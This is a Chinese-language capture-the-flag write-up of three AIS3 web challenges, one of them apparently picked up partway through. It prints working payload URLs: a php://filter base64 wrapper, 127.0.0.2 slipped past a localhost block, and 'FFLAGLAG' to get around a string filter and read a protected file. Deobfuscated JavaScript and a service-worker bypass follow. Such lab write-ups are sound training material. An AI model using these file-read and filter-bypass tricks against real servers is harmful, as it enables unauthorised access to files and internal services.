PD9waHAKCiAgICBpZiAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT0gJzEyNy4wLjAuMScpIHsKCiAgICAgICAgLy8gc2hvdyBwYXRoIG9mIHRoZSBmbGFnCiAgICAgICAgZGllKCRfRU5WWydGTEFHX0hJTlQnXSk7CiAgICB9CgoKICAgIGlmICgkcGF0aCA9IEAkX0dFVFsncGF0aCddKSB7CiAgICAgICAgJHBhdGggPSB0cmltKCRwYXRoKTsKCiAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9odHRwcz86XC9cLyhbXnNcL10rKS9pJywgJHBhdGgsICRnKSkgewogICAgICAgICAgICAvLyByZXNvbHZlIGlwIGFkZHJlc3MKICAgICAgICAgICAgJGlwID0gZ2V0aG9zdGJ5bmFtZSgkZ1sxXSk7CgogICAgICAgICAgICAvLyBubyBsb2NhbCByZXF1ZXN0CiAgICAgICAgICAgIGlmICgkaXAgPT0gJzEyNy4wLjAuMScgfHwgJGlwID09ICcwLjAuMC4wJykKICAgICAgICAgICAgICAgIGRpZSgnRG8gbm90IHJlcXVlc3QgdG8gbG9jYWxob3N0IScpOwogICAgICAgIH0KCiAgICAgICAgLy8gbm8gZmxhZyBpbiBwYXRoCiAgICAgICAgJHBhdGggPSBwcmVnX3JlcGxhY2UoJy9mbGFnL2knLCAnJywgJHBhdGgpOwoKICAgICAgICBpZiAoJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHBhdGgsIEZBTFNFLCBOVUxMLCAwLCAxMDAwKSkgewoKICAgICAgICAgICAgLy8gbm8gZmxhZyBpbiBjb250ZW50CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvZmxhZy9pJywgJGNvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICBkaWUoJ0Rl

decode 之後得到原始碼:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

    if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {

        // show path of the flag
        die($_ENV['FLAG_HINT']);
    }


    if ($path = @$_GET['path']) {
        $path = trim($path);

        if (preg_match('/https?:\/\/([^s\/]+)/i', $path, $g)) {
            // resolve ip address
            $ip = gethostbyname($g[1]);

            // no local request
            if ($ip == '127.0.0.1' || $ip == '0.0.0.0')
                die('Do not request to localhost!');
        }

        // no flag in path
        $path = preg_replace('/flag/i', '', $path);

        if ($content = @file_get_contents($path, FALSE, NULL, 0, 1000)) {

            // no flag in content
            if (preg_match('/flag/i', $content)) {
                die('De'...

看來用127.0.0.1連上去可以得到flag的提示,一樣用php偽協議把提示拿出來:

1
http://pre-exam-web.ais3.org:10103/index.php?path=php://filter/read=convert.base64-encode/resource=http://127.0.0.2

不知道為什麼127.0.0.1不給過,127.0.0.2倒是可以

一樣得到Base64編碼的字串: RkxBR18xNGQ2NTE4OTY2OWYwNWQyMDY3NjRjOWRlNDQxNDc0ZC50eHQ=

解碼之後得到提示: FLAG_14d65189669f05d206764c9de441474d.txt


接下來的目標是取得FLAG_14d65189669f05d206764c9de441474d.txt的內容,有兩層關卡:

第一關

1
$path = preg_replace('/flag/i', '', $path);`

首先path內容中的所有flag字串都會被替換成'',只要把路經中的FLAG換成FFLAGLAG就可以了。

第二關

1
2
if (preg_match('/flag/i', $content)) {
    die('D'...

經過第一關之後,有flag的字串的路徑會被擋下來,上網查之後知道php偽協議可以繞過它。

所以Payload如下:

1
http://pre-exam-web.ais3.org:10103/index.php?path=php://filter/read=convert.base64-encode/resource=FFLAGLAG_14d65189669f05d206764c9de441474d.txt

依然得到Base64編碼的字串:

1
ICAgICAgICAgICAgICAgICBeYC4gICAgICAgICAgICAgICAgICAgICBvCiBeXyAgICAgICAgICAgICAgXCAgXCAgICAgICAgICAgICAgICAgIG8gIG8KIFwgXCAgICAgICAgICAgICB7ICAgXCAgICAgICAgICAgICAgICAgbwogeyAgXCAgICAgICAgICAgLyAgICAgYH5+fi0tX18KIHsgICBcX19fLS0tLX5+JyAgICAgICAgICAgICAgYH5+LV8gICAgIF9fX19fXyAgICAgICAgICBfX19fXwogIFwgICAgICAgICAgICAgICAgICAgICAgICAgLy8vIGEgIGB+Ll8oX3x8X19fKV9fX19fX19fL19fXwogIC8gL35+fn4tLCAsX18uICAgICwgICAgICAvLy8gIF9fLCwsLCkgICAgICBvICBfX19fX18vICAgIFwKICBcLyAgICAgIFwvICAgIGB+fn47ICAgLC0tLX5+LV9gfj0gXCBcLS0tLS0tby0nICAgICAgICAgICAgXAogICAgICAgICAgICAgICAgICAgLyAgIC8gICAgICAgICAgICAvIC8KICAgICAgICAgICAgICAgICAgJy5fLicgICAgICAgICAgIF8vXy8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICc7fFwKWW91ciBmbGFnOgogIEFJUzN7NjAwZF9qMGJfYnU3XzdoMTVfMTVfbjA3XzdoM18zbmR9CgpIaW50cyBmb3IgZDF2MW42IGQzM3AzcjoKLSBGaW5kIHRoZSBvdGhlciB3ZWIgc2VydmVyIGluIHRoZSBpbnRlcm5hbCBuZXR3b3JrLgotIFNjYW5uaW5nIGlzIGZvcmJpZGRlbiBhbmQgbm90IG5lY2Vzc2FyeS4K

解碼之後得到flag跟d1v1n6 d33p3r的提示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
                 ^`.                     o
 ^_              \  \                  o  o
 \ \             {   \                 o
 {  \           /     `~~~--__
 {   \___----~~'              `~~-_     ______          _____
  \                         /// a  `~._(_||___)________/___
  / /~~~~-, ,__.    ,      ///  __,,,,)      o  ______/    \
  \/      \/    `~~~;   ,---~~-_`~= \ \------o-'            \
                   /   /            / /
                  '._.'           _/_/
                                  ';|\
Your flag:
  AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}

Hints for d1v1n6 d33p3r:
- Find the other web server in the internal network.
- Scanning is forbidden and not necessary.

Flag

AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}


Web - Hidden

Challenge Info

FIND THE FLAG

Solution

檢查原始碼,看到有一個main.019417bd.js

1
<!DOCTYPE html><html><title>Hidden</title><meta charset="utf-8"></html><body><div id="app"></div><script src="/main.019417bd.js"></script></body>

點進去發現被混淆過,看得頭很痛QQ

完全不知道它在做什麼,不過其中一段很有flag的感覺:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
var r = function () {
	return function () {
		var r = Array.prototype.slice.call(arguments),
			t = r.shift();
		return r.reverse().map(function (r, e) {
			return String.fromCharCode(r - t - 25 - e)
		}).join("")
	}(12, 144, 165, 95, 167, 140, 95, 157, 94, 164, 91, 122, 111, 102) + 4..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) {
		return String.fromCharCode(r.charCodeAt() + -13)
	}).join("") + 1234274547001..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) {
		return String.fromCharCode(r.charCodeAt() + -13)
	}).join("") + 579..toString(36).toLowerCase() + function () {
		var r = Array.prototype.slice.call(arguments),
			t = r.shift();
		return r.reverse().map(function (r, e) {
			return String.fromCharCode(r - t - 44 - e)
		}).join("")
	}(18, 190, 127, 170, 113)
};

直接貼到console中,然後執行r(),還真的是flag(暈

Flag

AIS3{4r3_y0u_4_fr0n73nd_g33k?}


Web - SimpleWindow

Challenge Info

這題連我阿嬷都會解

https://simple-window.ais3.kaibro.tw:10100/

Solution

點進網址後看到一個很潮的terminal頁面,有個flag連結可以點進去,網址是:https://simple-window.ais3.kaibro.tw:10100/flag

會看到提示Flag is here! But I catch it!,考試時看不懂這是什麼,索性在網址後面接個參數:https://simple-window.ais3.kaibro.tw:10100/flag?a=1 就看到flag了

Flag

AIS3{D0_y0u_kn0w_Serv1ce_W0rker?}